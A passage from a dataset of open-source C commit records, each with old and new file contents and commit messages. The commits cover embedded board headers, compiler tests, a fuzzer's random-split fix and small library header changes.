tilve\/chromium,ChromiumWebApps\/chromium,Jonekee\/chromium.src,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ltilve\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,hujiajie\/pa-chromium,M4sse\/chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,dushu1203\/chromium.src,ChromiumWebApps\/chromium,patrickm\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,nacl-webkit\/chrome_deps,dednal\/chromium.src,TheTypoMaster\/chromium-crosswalk,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,patrickm\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,ltilve\/chromium,markYoungH\/chromium.src,ondra-novak\/chromium.src,hujiajie\/pa-chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,zcbenz\/cefode-chromium,littlstar\/chromium.src,anirudhSK\/chromium,Chilledheart\/chromium,nacl-webkit\/chrome_deps,anirudhSK\/chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,patrickm\/chromium.src,zcbenz\/cefode-chromium,ltilve\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,dednal\/chromium.src,zcbenz\/cefode-chromium,Just-D\/chromium-1,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,littlstar\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,Just-D\/chromium-1,Chilledheart\/chromium,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk"}
{"commit":"877c050599f7ec592335b9b61c49a17c81ad628d","old_file":"include\/dt-bindings\/clock\/renesas_rcar_cpg.h","new_file":"include\/dt-bindings\/clock\/renesas_rcar_cpg.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2021 IoT.bzh\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_RENESAS_RCAR_CPG_MSSR_H_\n#define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_RENESAS_RCAR_CPG_MSSR_H_\n\n#define CPG_CORE                        0       \/* Core Clock *\/\n#define CPG_MOD                         1       \/* Module Clock *\/\n\n#define CPG_CORE_CLK_CANFD              0       \/* CANFD clock *\/\n#define CPG_CORE_CLK_S3D4               1       \/* S3D4 Clock *\/\n\n#endif \/* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_RENESAS_RCAR_CPG_MSSR_H_ *\/\n","subject":"Add Renesas clock control driver","message":"include: Add Renesas clock control driver\n\nDTS bindings file for Renesas RCar CPG clock control.\n\nSigned-off-by: Julien Massot <ad45d338e0f9dc7767e692227f7b2fcd41b31818@iot.bzh>\n","lang":"C","license":"apache-2.0","repos":"zephyrproject-rtos\/zephyr,galak\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,galak\/zephyr,galak\/zephyr,nashif\/zephyr,finikorg\/zephyr,finikorg\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,nashif\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,nashif\/zephyr"}
{"commit":"9d10ecc7460e73847079bd92234656cdff6fd6fe","old_file":"src\/devices.h","new_file":"src\/devices.h","old_contents":"\/* Narcissus\n * © 2015 David Given\n * This file is redistributable under the terms of the two-clause BSD license;\n * see COPYING in the distribution root for the full text.\n *\/\n\n#ifndef DEVICES_H\n#define DEVICES_H\n\n#include <X11\/Xlib.h>\n\nstruct button\n{\n\tint keycode;\n\tuint32_t button;\n};\n\nstruct chord\n{\n\tuint32_t buttons;\n\tint keysym;\n};\n\nstruct device\n{\n\tconst char* name;\n\tstruct button* buttons;\n\tstruct chord* chords;\n};\n\nextern const struct device razer_nostromo;\n\nextern const struct device* find_connected_device(Display* display, int* deviceid);\nextern const struct device* find_device_by_name(const char* name);\nextern void load_device(const struct device* device);\nuint32_t keycode_to_button(int keysym);\nint decode_chord(uint32_t buttons);\n\n#define MODIFIER_MASK ((1<<24) - 1)\n#define CTRL          (1<<24)\n#define ALT           (1<<25)\n#define META          (1<<26)\n\n#endif\n\n","new_contents":"\/* Narcissus\n * © 2015 David Given\n * This file is redistributable under the terms of the two-clause BSD license;\n * see COPYING in the distribution root for the full text.\n *\/\n\n#ifndef DEVICES_H\n#define DEVICES_H\n\n#include <X11\/Xlib.h>\n\nstruct button\n{\n\tint keycode;\n\tuint32_t button;\n};\n\nstruct chord\n{\n\tuint32_t buttons;\n\tint keysym;\n};\n\nstruct device\n{\n\tconst char* name;\n\tstruct button* buttons;\n\tstruct chord* chords;\n};\n\nextern const struct device razer_nostromo;\n\nextern const struct device* find_connected_device(Display* display, int* deviceid);\nextern const struct device* find_device_by_name(const char* name);\nextern void load_device(const struct device* device);\nuint32_t keycode_to_button(int keysym);\nint decode_chord(uint32_t buttons);\n\n#define MODIFIER_MASK ((1<<24) - 1)\n#define CTRL          (1<<24)\n#define ALT           (1<<25)\n\/* Note: META doesn't work with libfakekey 0.1-8.1 *\/\n#define META          (1<<26)\n\n#endif\n\n","subject":"Document that meta doesn't work.","message":"Document that meta doesn't work.","lang":"C","license":"bsd-2-clause","repos":"davidgiven\/narcissus"}
{"commit":"22172bb584a97412e01d77f6cb3eb183aab06d56","old_file":"boards\/arm\/cc3200_launchxl\/board.h","new_file":"boards\/arm\/cc3200_launchxl\/board.h","old_contents":"\/*\n * Copyright (c) 2016, Texas Instruments Incorporated\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __INC_BOARD_H\n#define __INC_BOARD_H\n\n#endif \/* __INC_BOARD_H *\/\n","new_contents":"\/*\n * Copyright (c) 2016, Texas Instruments Incorporated\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __INC_BOARD_H\n#define __INC_BOARD_H\n\n\/* Push button switch 2 *\/\n#define SW2_GPIO_PIN\t6    \/* GPIO22\/Pin15 *\/\n#define SW2_GPIO_NAME\t\"GPIO_A2\"\n\n\/* Push button switch 3 *\/\n#define SW3_GPIO_PIN\t5    \/* GPIO13\/Pin4 *\/\n#define SW3_GPIO_NAME\t\"GPIO_A1\"\n\n\/* Push button switch 0: Map to SW2 so zephyr button example works *\/\n#define SW0_GPIO_PIN\tSW2_GPIO_PIN\n#define SW0_GPIO_NAME\tSW2_GPIO_NAME\n\n\/* Onboard GREEN LED *\/\n#define LED0_GPIO_PIN   3  \/*GPIO11\/Pin2 *\/\n#define LED0_GPIO_PORT  \"GPIO_A1\"\n\n#endif \/* __INC_BOARD_H *\/\n","subject":"Add generic definitions for LEDs and switches","message":"cc3200: Add generic definitions for LEDs and switches\n\nAdds generic definitions for GPIO pins for onboard LEDs and\nswitches to enable the basic blinky, button, and disco\nZephyr examples for the TI CC3200 LaunchXL.\n\nChange-Id: Iac0ed2ad01285f9e84eea1fa7013771ddd8d3a78\nSigned-off-by: Gil Pitney <477da50908f0a7963c2c490cce0ff096d2cac162@linaro.org>\n","lang":"C","license":"apache-2.0","repos":"zephyrproject-rtos\/zephyr,GiulianoFranchetto\/zephyr,fractalclone\/zephyr-riscv,Vudentz\/zephyr,explora26\/zephyr,punitvara\/zephyr,bboozzoo\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,runchip\/zephyr-cc3200,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,mbolivar\/zephyr,explora26\/zephyr,sharronliu\/zephyr,sharronliu\/zephyr,rsalveti\/zephyr,mbolivar\/zephyr,fbsder\/zephyr,sharronliu\/zephyr,bboozzoo\/zephyr,pklazy\/zephyr,ldts\/zephyr,runchip\/zephyr-cc3200,tidyjiang8\/zephyr-doc,pklazy\/zephyr,kraj\/zephyr,punitvara\/zephyr,erwango\/zephyr,kraj\/zephyr,tidyjiang8\/zephyr-doc,fractalclone\/zephyr-riscv,bigdinotech\/zephyr,holtmann\/zephyr,ldts\/zephyr,fbsder\/zephyr,ldts\/zephyr,runchip\/zephyr-cc3220,erwango\/zephyr,aceofall\/zephyr-iotos,zephyrproject-rtos\/zephyr,GiulianoFranchetto\/zephyr,pklazy\/zephyr,sharronliu\/zephyr,mbolivar\/zephyr,rsalveti\/zephyr,punitvara\/zephyr,zephyriot\/zephyr,finikorg\/zephyr,bigdinotech\/zephyr,zephyriot\/zephyr,explora26\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,Vudentz\/zephyr,rsalveti\/zephyr,rsalveti\/zephyr,holtmann\/zephyr,bboozzoo\/zephyr,finikorg\/zephyr,runchip\/zephyr-cc3220,punitvara\/zephyr,finikorg\/zephyr,runchip\/zephyr-cc3220,bboozzoo\/zephyr,galak\/zephyr,ldts\/zephyr,rsalveti\/zephyr,pklazy\/zephyr,aceofall\/zephyr-iotos,holtmann\/zephyr,nashif\/zephyr,explora26\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,erwango\/zephyr,finikorg\/zephyr,kraj\/zephyr,finikorg\/zephyr,galak\/zephyr,runchip\/zephyr-cc3200,tidyjiang8\/zephyr-doc,runchip\/zephyr-cc3220,pklazy\/zephyr,kraj\/zephyr,GiulianoFranchetto\/zephyr,bigdinotech\/zephyr,fbsder\/zephyr,galak\/zephyr,GiulianoFranchetto\/zephyr,zephyriot\/zephyr,bigdinotech\/zephyr,galak\/zephyr,aceofall\/zephyr-iotos,fractalclone\/zephyr-riscv,zephyrproject-rtos\/zephyr,erwango\/zephyr,runchip\/zephyr-cc3200,galak\/zephyr,runchip\/zephyr-cc3200,nashif\/zephyr,runchip\/zephyr-cc3220,mbolivar\/zephyr,holtmann\/zephyr,fbsder\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,nashif\/zephyr,mbolivar\/zephyr,tidyjiang8\/zephyr-doc,fractalclone\/zephyr-riscv,fractalclone\/zephyr-riscv,punitvara\/zephyr,fbsder\/zephyr,zephyriot\/zephyr,kraj\/zephyr,bboozzoo\/zephyr,zephyriot\/zephyr,ldts\/zephyr,aceofall\/zephyr-iotos,sharronliu\/zephyr,holtmann\/zephyr,erwango\/zephyr,bigdinotech\/zephyr,explora26\/zephyr,tidyjiang8\/zephyr-doc"}
{"commit":"b666daaf75dc6cd5dced975d5a023bbc5b13114f","old_file":"examples\/GetDataChunkServer\/Socket.h","new_file":"examples\/GetDataChunkServer\/Socket.h","old_contents":"","new_contents":"\/\/ -*- mode: c++ -*-\n#ifndef _GET_DATA_CHUNK_SERVER_SOCKET_H_\n#define _GET_DATA_CHUNK_SERVER_SOCKET_H_\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/asio.hpp>\n\n\nclass Socket\n{\n  typedef boost::shared_ptr<boost::asio::ip::tcp::socket> SocketImplPtr;\n  \npublic:\n  Socket(SocketImplPtr socket);\n  virtual ~Socket();\n\n  \n  \nprivate:\n  SocketImplPtr m_socket;\n};\n\n#endif\n","subject":"Add a thread-safe socket class.","message":"Add a thread-safe socket class.\n","lang":"C","license":"mit","repos":"airekans\/Tpool,airekans\/Tpool,airekans\/Tpool"}
{"commit":"7d51c07f00043f980050a06bd4e4a7b6983a78f6","old_file":"JPEGReadWriter2Plugin\/JPEGReadWriter2Plugin.h","new_file":"JPEGReadWriter2Plugin\/JPEGReadWriter2Plugin.h","old_contents":"#include <stdio.h>\n\/* Interface to JPEG code *\/\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2* error_ptr2;\n\nvoid error_exit (j_common_ptr cinfo);\nGLOBAL(void) jpeg_mem_src (j_decompress_ptr cinfo, char * pSourceData, unsigned sourceDataSize);\nGLOBAL(int) jpeg_mem_src_newLocationOfData (j_decompress_ptr cinfo, char * pSourceData, unsigned sourceDataSize);\nGLOBAL(void) jpeg_mem_dest (j_compress_ptr cinfo, char * pDestination, unsigned *pDestinationSize);\nvoid primJPEGWriteImageonByteArrayformqualityprogressiveJPEGerrorMgrWriteScanlines(\n    unsigned int, \n    unsigned int, \n    int,\n    unsigned int*,\n    char*,\n    char*,\n    int,\n    int, \n    unsigned int, \n    unsigned int,\n    char*,\n    unsigned int*);\n\nvoid primJPEGReadImagefromByteArrayonFormdoDitheringerrorMgrReadScanlines(\n    char*,\n    char*,\n    char*,\n    unsigned int,\n    int,\n    unsigned int*,\n    unsigned int,\n    unsigned int,\n    int);\n\nvoid primJPEGReadHeaderfromByteArraysizeerrorMgrReadHeader(\n    char*,\n    char*,\n    unsigned int);\n    char*);\n","new_contents":"#include <stdio.h>\n\/* Interface to JPEG code *\/\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2* error_ptr2;\n\nvoid error_exit (j_common_ptr cinfo);\nGLOBAL(void) jpeg_mem_src (j_decompress_ptr cinfo, char * pSourceData, unsigned sourceDataSize);\nGLOBAL(int) jpeg_mem_src_newLocationOfData (j_decompress_ptr cinfo, char * pSourceData, unsigned sourceDataSize);\nGLOBAL(void) jpeg_mem_dest (j_compress_ptr cinfo, char * pDestination, unsigned *pDestinationSize);\nvoid primJPEGWriteImageonByteArrayformqualityprogressiveJPEGerrorMgrWriteScanlines(\n    unsigned int, \n    unsigned int, \n    int,\n    unsigned int*,\n    char*,\n    char*,\n    int,\n    int, \n    unsigned int, \n    unsigned int,\n    char*,\n    unsigned int*);\n\nvoid primJPEGReadImagefromByteArrayonFormdoDitheringerrorMgrReadScanlines(\n    char*,\n    char*,\n    char*,\n    unsigned int,\n    int,\n    unsigned int*,\n    unsigned int,\n    unsigned int,\n    int);\n\nvoid primJPEGReadHeaderfromByteArraysizeerrorMgrReadHeader(\n    char*,\n    char*,\n    unsigned int,\n    char*);\n","subject":"Fix typo in method signature","message":"Fix typo in method signature\n\n\ngit-svn-id: http:\/\/squeakvm.org\/svn\/squeak\/trunk@3745 fa1542d4-bde8-0310-ad64-8ed1123d492a\n\nFormer-commit-id: 76afe8ba507e75296f2fbba2c2c20aaa29c41819","lang":"C","license":"mit","repos":"bencoman\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm"}
{"commit":"2181f5b6f64769cc57b8a9872d5f89f0493eb5d0","old_file":"cc1\/tests\/test028.c","new_file":"cc1\/tests\/test028.c","old_contents":"","new_contents":"\n\/*\nname: TEST028\ndescription: Test of reinterpretation in define\noutput:\nF5\nG6\tF5\tfoo\n{\n\\\n\tr\t\"6869\t'P\n}\n*\/\n\n\n#define M(x) x\n#define A(a,b) a(b)\n\nchar *\nfoo(void)\n{\n\treturn A(M,\"hi\");\n}\n","subject":"Add test for nested expansion in macros","message":"Add test for nested expansion in macros\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc"}
{"commit":"d9d5db9efedbf1ca9ddd11e0f2eff2a4b04afe90","old_file":"stutterfuzz.c","new_file":"stutterfuzz.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n\n#include \"rand.h\"\n\nstatic uint64_t sqrt64(uint64_t n) {\n\tuint64_t g = UINT64_C(1) << 31;\n  \n\tfor (uint64_t c = g; c; g |= c) {\n\t\tif (g * g > n) {\n\t\t\tg ^= c;  \n\t\t}\n\t\tc >>= 1;\n\t}  \n\treturn g;\n}  \n\nstatic uint64_t get_split(uint64_t len) {\n\tuint64_t rnd;\n\trand_fill(&rnd, sizeof(rnd));\n\trnd %= (len * len);\n\treturn sqrt64(rnd) + 1;\n}\n\nint main(int __attribute__ ((unused)) argc, char __attribute__ ((unused)) *argv[]) {\n\trand_init();\n\n\tfor (uint64_t len = 1397; len;) {\n\t\tuint64_t consume = get_split(len);\n\t\tfprintf(stderr, \"consume %ju bytes\\n\", (uintmax_t) consume);\n\t\tlen -= consume;\n\t}\n\n\trand_cleanup();\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n\n#include \"rand.h\"\n\nstatic uint64_t get_split(uint64_t total_len, uint64_t remaining_len) {\n\tuint64_t rnd;\n\trand_fill(&rnd, sizeof(rnd));\n\trnd %= total_len;\n\treturn rnd > remaining_len ? remaining_len : rnd;\n}\n\nint main(int __attribute__ ((unused)) argc, char __attribute__ ((unused)) *argv[]) {\n\trand_init();\n\n\tuint64_t total_len = 1397;\n\tfor (uint64_t remaining = total_len, consume = 0; remaining; remaining -= consume) {\n\t\tconsume = get_split(total_len, remaining);\n\t\tfprintf(stderr, \"consume %ju bytes\\n\", (uintmax_t) consume);\n\t}\n\n\trand_cleanup();\n}\n","subject":"Fix random algo to evenly distribute.","message":"Fix random algo to evenly distribute.\n","lang":"C","license":"apache-2.0","repos":"flamingcowtv\/stutterfuzz"}
{"commit":"bf7236ddf91b0242a3960fb3f66391e1a51b4a74","old_file":"cc1\/tests\/test019.c","new_file":"cc1\/tests\/test019.c","old_contents":"","new_contents":"\n\/*\nname: TEST019\ndescription: Basic test of constant folding in integer arithmetic operations\noutput:\ntest019.c:13: warning: division by 0\ntest019.c:14: warning: division by 0\nF1\nG1\tF1\tmain\n{\n-\nA2\tI\ti\n\tA2\t#I3\t:I\n\tA2\t#I1\t:I\n\tA2\t#I12\t:I\n\tA2\t#I2\t:I\n\tA2\t#I0\t:I\n\tA2\tA2\t#I0\t%I\t:I\n\tA2\tA2\t#I0\t%I\t:I\n\tA2\t#I8\t:I\n\tA2\t#I2\t:I\n\tA2\t#I4\t:I\n\tA2\t#IC\t:I\n\tA2\t#I8\t:I\n\tA2\t#IFFFFFFFD\t:I\n\tA2\t#IFFFFFFF3\t:I\n\tA2\t#I1\t:I\n\tA2\t#I0\t:I\n\tA2\t#I0\t:I\n\tA2\t#I1\t:I\n\tA2\t#I0\t:I\n}\n*\/\n\n#line 1\n\nint\nmain(void)\n{\n\tint i;\n\n\ti = 1 + 2;\n\ti = 2 - 1;\n\ti = 3 * 6;\n\ti = 10 \/ 5;\n\ti = 10 % 5;\n\ti = i % 0;\n\ti = i % 0;\n\ti = 1 << 3;\n\ti = 8 >> 2;\n\ti = 12 & 4;\n\ti = 8 | 4;\n\ti = 12 ^ 4;\n\ti = -(3);\n\ti = ~12;\n\ti = 1 < 3;\n\ti = 2 > 3;\n\ti = 2 >= 3;\n\ti = 2 <= 3;\n\ti = 1 == 0;\n}\n","subject":"Add basic test for integer constant folding","message":"Add basic test for integer constant folding\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc"}
{"commit":"8a1556967443af2e55ef33b3cdab613acbc0ef91","old_file":"cc1\/tests\/test044.c","new_file":"cc1\/tests\/test044.c","old_contents":"","new_contents":"\/*\nname: TEST044\ndescription: Test of corner cases in #if\noutput:\ntest044.c:14: warning: division by 0\ntest044.c:18: warning: division by 0\ntest044.c:22: warning: division by 0\ntest044.c:28: error: parameter of #if is not an integer constant expression\ntest044.c:29: error: #error  3 != (1,2,3)\n*\/\n\n\/* These should be accepted *\/\n\n  #if 0 != (0 && (0\/0))\n    #error 0 != (0 && (0\/0))\n  #endif\n\n  #if 1 != (-1 || (0\/0))\n    #error 1 != (-1 || (0\/0))\n  #endif\n\n  #if 3 != (-1 ? 3 : (0\/0))\n    #error 3 != (-1 ? 3 : (0\/0))\n  #endif\n\n\/* This is invalid code (it is a constraint violation) *\/\n\n  #if 3 != (1,2,3)\n    #error 3 != (1,2,3)\n  #endif\n\n","subject":"Add test for preprocessor corner cases","message":"Add test for preprocessor corner cases\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"f007fbd9af3299d047f0b1dce1ffb2b625775133","old_file":"src\/include\/impl\/kernel\/slab_static.h","new_file":"src\/include\/impl\/kernel\/slab_static.h","old_contents":"\/**\n * @file\n * @brief Internal implementation of static slab allocator\n *\n * @date 07.03.2011\n * @author Kirill Tyushev\n *\/\n\n#ifndef SLAB_STATIC_H_\n# error \"Do not include this file directly, use <kernel\/mm\/slab_static.h> instead!\"\n#endif \/* SLAB_STATIC_H_ *\/\n\n#include <util\/binalign.h>\n\n\/** cache descriptor *\/\nstruct static_cache {\n\t\/** pointer to pool *\/\n\tchar* cache_begin;\n\t\/** object size *\/\n\tsize_t size;\n\t\/** the number of objects stored on each slab *\/\n\tunsigned int num;\n\t\/** the list of free objects in pool *\/\n\tstruct list_head obj_ptr;\n\t\/** for initialization *\/\n\tint hasinit;\n};\n\n\/** create cache *\/\n#define __STATIC_CACHE_CREATE(name, type, count) \\\n  static char __name_pool[count * binalign_bound(sizeof(type), sizeof(struct list_head))]; \\\n  static static_cache_t name = { \\\n        .num = count, \\\n        .size = binalign_bound(sizeof(type), sizeof(struct list_head)), \\\n        .cache_begin = __name_pool, \\\n        .obj_ptr = {NULL, NULL}, \\\n        .hasinit = 0 }\n","new_contents":"\/**\n * @file\n * @brief Internal implementation of static slab allocator\n *\n * @date 07.03.2011\n * @author Kirill Tyushev\n *\/\n\n#ifndef SLAB_STATIC_H_\n# error \"Do not include this file directly, use <kernel\/mm\/slab_static.h> instead!\"\n#endif \/* SLAB_STATIC_H_ *\/\n\n#include <util\/binalign.h>\n\n\/** cache descriptor *\/\nstruct static_cache {\n\t\/** pointer to pool *\/\n\tchar* cache_begin;\n\t\/** object size *\/\n\tsize_t size;\n\t\/** the number of objects stored on each slab *\/\n\tunsigned int num;\n\t\/** the list of free objects in pool *\/\n\tstruct list_head obj_ptr;\n\t\/** for initialization *\/\n\tint hasinit;\n};\n\n\/** create cache *\/\n#define __STATIC_CACHE_CREATE(name, type, count) \\\n  static char name ## _pool[count * binalign_bound(sizeof(type), sizeof(struct list_head))]; \\\n  static static_cache_t name = { \\\n        .num = count, \\\n        .size = binalign_bound(sizeof(type), sizeof(struct list_head)), \\\n        .cache_begin = name ## _pool, \\\n        .obj_ptr = {NULL, NULL}, \\\n        .hasinit = 0 }\n","subject":"Fix macro replacement: removal of conflict with __name_pool","message":"Fix macro replacement: removal of conflict with __name_pool\n\n(using pasting)","lang":"C","license":"bsd-2-clause","repos":"Kefir0192\/embox,vrxfile\/embox-trik,embox\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,Kefir0192\/embox,embox\/embox,Kefir0192\/embox,vrxfile\/embox-trik,mike2390\/embox,mike2390\/embox,abusalimov\/embox,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kakadu\/embox,gzoom13\/embox,abusalimov\/embox,gzoom13\/embox,Kefir0192\/embox,Kakadu\/embox,abusalimov\/embox,Kefir0192\/embox,abusalimov\/embox,mike2390\/embox,vrxfile\/embox-trik,embox\/embox,gzoom13\/embox,embox\/embox,gzoom13\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,gzoom13\/embox,embox\/embox,Kakadu\/embox"}
{"commit":"9b662d66ce40ee91314cf392a73cf6991a654172","old_file":"src\/lib\/ecore\/Ecore_Str.h","new_file":"src\/lib\/ecore\/Ecore_Str.h","old_contents":"#ifndef _ECORE_STR_H\n# define _ECORE_STR_H\n\n#ifdef EAPI\n#undef EAPI\n#endif\n#ifdef WIN32\n# ifdef BUILDING_DLL\n#  define EAPI __declspec(dllexport)\n# else\n#  define EAPI __declspec(dllimport)\n# endif\n#else\n# ifdef __GNUC__\n#  if __GNUC__ >= 4\n#   define EAPI __attribute__ ((visibility(\"default\")))\n#  else\n#   define EAPI\n#  endif\n# else\n#  define EAPI\n# endif\n#endif\n\n\/**\n * @file Ecore_Data.h\n * @brief Contains threading, list, hash, debugging and tree functions.\n *\/\n\n# ifdef __cplusplus\nextern \"C\" {\n# endif\n\n# ifdef __sgi\n#  define __FUNCTION__ \"unknown\"\n#  ifndef __cplusplus\n#   define inline\n#  endif\n# endif\n\n   \/* strlcpy implementation for libc's lacking it *\/\n   EAPI size_t ecore_strlcpy(char *dst, const char *src, size_t siz);\n\n#ifdef __cplusplus\n}\n#endif\n#endif\t\t\t\t\/* _ECORE_STR_H *\/\n","new_contents":"#ifndef _ECORE_STR_H\n# define _ECORE_STR_H\n\n#ifdef EAPI\n#undef EAPI\n#endif\n#ifdef WIN32\n# ifdef BUILDING_DLL\n#  define EAPI 